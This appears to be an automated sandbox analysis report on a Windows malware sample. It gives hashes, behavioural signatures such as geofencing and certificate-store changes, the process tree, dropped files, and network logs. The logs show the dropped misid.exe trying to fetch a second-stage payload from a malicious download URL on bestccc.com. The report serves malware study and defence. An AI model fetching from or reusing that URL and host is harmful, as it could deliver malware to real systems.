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Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2023, 19:35 UTC

General

  • Target

    NA_NA_2e510c0e92b932exeexe_JC.exe

  • Size

    81KB

  • MD5

    2e510c0e92b932e8dab9b3cd8cda3365

  • SHA1

    ab9796be3ac94ce11567baf7190245293fdda6c8

  • SHA256

    1d04226125ea6cc07bf7fa1976774274164cfc76fdb7f3980b1a4cdbf985b5f0

  • SHA512

    99ed84264aff82fe2a31b0149aad16073788b3a3c885b4213de018d9a3914828a7f7fe0337c2eac6e3d524596908fab1331182e756d6793849c0341689b5e6b7

  • SSDEEP

    768:UEEmoQDj/xnMp+yptndwe/PWQtOOtEvwDpjIm8z2iaSIO/RvDQeduJHqqnzvNG1U:ZzFbxmLPWQMOtEvwDpj386Sj/RsxQzg

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 8 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\NA_NA_2e510c0e92b932exeexe_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\NA_NA_2e510c0e92b932exeexe_JC.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:564
    • C:\Users\Admin\AppData\Local\Temp\misid.exe
      "C:\Users\Admin\AppData\Local\Temp\misid.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies system certificate store
      PID:2216

Network

  • flag-us
    DNS
    146.78.124.51.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    146.78.124.51.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    254.22.238.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    254.22.238.8.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    134.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    134.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    108.211.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    108.211.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    bestccc.com
    misid.exe
    Remote address:
    8.8.8.8:53
    Request
    bestccc.com
    IN A
    Response
    bestccc.com
    IN A
    103.14.121.240
  • flag-in
    GET
    https://bestccc.com/hr/ho2.exe
    misid.exe
    Remote address:
    103.14.121.240:443
    Request
    GET /hr/ho2.exe HTTP/1.1
    Accept: text/*, application/*
    User-Agent: Updates downloader
    Host: bestccc.com
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 23 Jul 2023 19:35:32 GMT
    Server: Apache/2
    Content-Length: 315
    Content-Type: text/html; charset=iso-8859-1
  • flag-us
    DNS
    240.121.14.103.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    240.121.14.103.in-addr.arpa
    IN PTR
    Response
    240.121.14.103.in-addr.arpa
    IN PTR
    10314121240-static-reversegooddomainregistrycom
  • flag-us
    DNS
    crl.comodoca.com
    misid.exe
    Remote address:
    8.8.8.8:53
    Request
    crl.comodoca.com
    IN A
    Response
    crl.comodoca.com
    IN CNAME
    crl.comodoca.com.cdn.cloudflare.net
    crl.comodoca.com.cdn.cloudflare.net
    IN A
    104.18.15.101
    crl.comodoca.com.cdn.cloudflare.net
    IN A
    104.18.14.101
  • flag-us
    GET
    http://crl.comodoca.com/cPanelIncCertificationAuthority.crl
    misid.exe
    Remote address:
    104.18.15.101:80
    Request
    GET /cPanelIncCertificationAuthority.crl HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    User-Agent: Microsoft-CryptoAPI/10.0
    Host: crl.comodoca.com
    Response
    HTTP/1.1 200 OK
    Date: Sun, 23 Jul 2023 19:36:07 GMT
    Content-Type: application/pkix-crl
    Content-Length: 61292
    Connection: keep-alive
    Last-Modified: Sun, 23 Jul 2023 08:51:29 GMT
    ETag: "64bcea11-ef6c"
    X-CCACDN-Mirror-ID: mscrl2
    Cache-Control: max-age=14400, s-maxage=3600
    Expires: Sun, 30 Jul 2023 08:51:29 GMT
    X-CCACDN-Proxy-ID: mcdpinlb5
    X-Frame-Options: SAMEORIGIN
    CF-Cache-Status: HIT
    Age: 2905
    Accept-Ranges: bytes
    Server: cloudflare
    CF-RAY: 7eb65ed5ae18b7f5-AMS
  • flag-us
    DNS
    101.14.18.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    101.14.18.104.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    101.15.18.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    101.15.18.104.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    157.123.68.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    157.123.68.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    171.39.242.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    171.39.242.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    163.252.72.23.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    163.252.72.23.in-addr.arpa
    IN PTR
    Response
    163.252.72.23.in-addr.arpa
    IN PTR
    a23-72-252-163deploystaticakamaitechnologiescom
  • flag-us
    DNS
    43.229.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    43.229.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    161.78.101.95.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    161.78.101.95.in-addr.arpa
    IN PTR
    Response
    161.78.101.95.in-addr.arpa
    IN PTR
    a95-101-78-161deploystaticakamaitechnologiescom
  • flag-us
    DNS
    90.65.42.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    90.65.42.20.in-addr.arpa
    IN PTR
    Response
  • 103.14.121.240:443
    https://bestccc.com/hr/ho2.exe
    tls, http
    misid.exe
    1.1kB
    5.8kB
    13
    9

    HTTP Request

    GET https://bestccc.com/hr/ho2.exe

    HTTP Response

    404
  • 104.18.15.101:80
    http://crl.comodoca.com/cPanelIncCertificationAuthority.crl
    http
    misid.exe
    1.4kB
    63.7kB
    27
    48

    HTTP Request

    GET http://crl.comodoca.com/cPanelIncCertificationAuthority.crl

    HTTP Response

    200
  • 8.8.8.8:53
    146.78.124.51.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    146.78.124.51.in-addr.arpa

  • 8.8.8.8:53
    254.22.238.8.in-addr.arpa
    dns
    71 B
    125 B
    1
    1

    DNS Request

    254.22.238.8.in-addr.arpa

  • 8.8.8.8:53
    134.32.126.40.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    134.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    108.211.229.192.in-addr.arpa
    dns
    74 B
    145 B
    1
    1

    DNS Request

    108.211.229.192.in-addr.arpa

  • 8.8.8.8:53
    bestccc.com
    dns
    misid.exe
    57 B
    73 B
    1
    1

    DNS Request

    bestccc.com

    DNS Response

    103.14.121.240

  • 8.8.8.8:53
    240.121.14.103.in-addr.arpa
    dns
    73 B
    139 B
    1
    1

    DNS Request

    240.121.14.103.in-addr.arpa

  • 8.8.8.8:53
    crl.comodoca.com
    dns
    misid.exe
    62 B
    143 B
    1
    1

    DNS Request

    crl.comodoca.com

    DNS Response

    104.18.15.101
    104.18.14.101

  • 8.8.8.8:53
    101.14.18.104.in-addr.arpa
    dns
    72 B
    134 B
    1
    1

    DNS Request

    101.14.18.104.in-addr.arpa

  • 8.8.8.8:53
    101.15.18.104.in-addr.arpa
    dns
    72 B
    134 B
    1
    1

    DNS Request

    101.15.18.104.in-addr.arpa

  • 8.8.8.8:53
    157.123.68.40.in-addr.arpa
    dns
    72 B
    146 B
    1
    1

    DNS Request

    157.123.68.40.in-addr.arpa

  • 8.8.8.8:53
    171.39.242.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    171.39.242.20.in-addr.arpa

  • 8.8.8.8:53
    163.252.72.23.in-addr.arpa
    dns
    72 B
    137 B
    1
    1

    DNS Request

    163.252.72.23.in-addr.arpa

  • 8.8.8.8:53
    43.229.111.52.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    43.229.111.52.in-addr.arpa

  • 8.8.8.8:53
    161.78.101.95.in-addr.arpa
    dns
    72 B
    137 B
    1
    1

    DNS Request

    161.78.101.95.in-addr.arpa

  • 8.8.8.8:53
    90.65.42.20.in-addr.arpa
    dns
    70 B
    156 B
    1
    1

    DNS Request

    90.65.42.20.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\misid.exe

    Filesize

    81KB

    MD5

    7320d48a2564cc45e11d0aca31310dc1

    SHA1

    73ffc1c38c5ca82463f516954609b804d0a50ee1

    SHA256

    b8917b302a5d75746ee89d00bdfc7fdf114d4cf6829c11a45f6be0ef2e44212e

    SHA512

    431387cdfb4074b1cae72e48519a46f4083f0b926a12cd097562e84de2be9d3edb53ce0ea4b2147fe3a1243e3a20a2a53eef41335bcaee402eaeaf9949571179

  • C:\Users\Admin\AppData\Local\Temp\misid.exe

    Filesize

    81KB

    MD5

    7320d48a2564cc45e11d0aca31310dc1

    SHA1

    73ffc1c38c5ca82463f516954609b804d0a50ee1

    SHA256

    b8917b302a5d75746ee89d00bdfc7fdf114d4cf6829c11a45f6be0ef2e44212e

    SHA512

    431387cdfb4074b1cae72e48519a46f4083f0b926a12cd097562e84de2be9d3edb53ce0ea4b2147fe3a1243e3a20a2a53eef41335bcaee402eaeaf9949571179

  • C:\Users\Admin\AppData\Local\Temp\misid.exe

    Filesize

    81KB

    MD5

    7320d48a2564cc45e11d0aca31310dc1

    SHA1

    73ffc1c38c5ca82463f516954609b804d0a50ee1

    SHA256

    b8917b302a5d75746ee89d00bdfc7fdf114d4cf6829c11a45f6be0ef2e44212e

    SHA512

    431387cdfb4074b1cae72e48519a46f4083f0b926a12cd097562e84de2be9d3edb53ce0ea4b2147fe3a1243e3a20a2a53eef41335bcaee402eaeaf9949571179

  • C:\Users\Admin\AppData\Local\Temp\misids.exe

    Filesize

    315B

    MD5

    a34ac19f4afae63adc5d2f7bc970c07f

    SHA1

    a82190fc530c265aa40a045c21770d967f4767b8

    SHA256

    d5a89e26beae0bc03ad18a0b0d1d3d75f87c32047879d25da11970cb5c4662a3

    SHA512

    42e53d96e5961e95b7a984d9c9778a1d3bd8ee0c87b8b3b515fa31f67c2d073c8565afc2f4b962c43668c4efa1e478da9bb0ecffa79479c7e880731bc4c55765

  • memory/564-133-0x00000000004F0000-0x00000000004F3000-memory.dmp

    Filesize

    12KB

  • memory/564-134-0x00000000005F0000-0x00000000005F6000-memory.dmp

    Filesize

    24KB

  • memory/564-135-0x00000000005F0000-0x00000000005F6000-memory.dmp

    Filesize

    24KB

  • memory/564-136-0x00000000021B0000-0x00000000021B6000-memory.dmp

    Filesize

    24KB

  • memory/564-150-0x00000000004F0000-0x00000000004F3000-memory.dmp

    Filesize

    12KB

  • memory/2216-153-0x0000000000750000-0x0000000000756000-memory.dmp

    Filesize

    24KB

  • memory/2216-152-0x0000000000730000-0x0000000000736000-memory.dmp

    Filesize

    24KB

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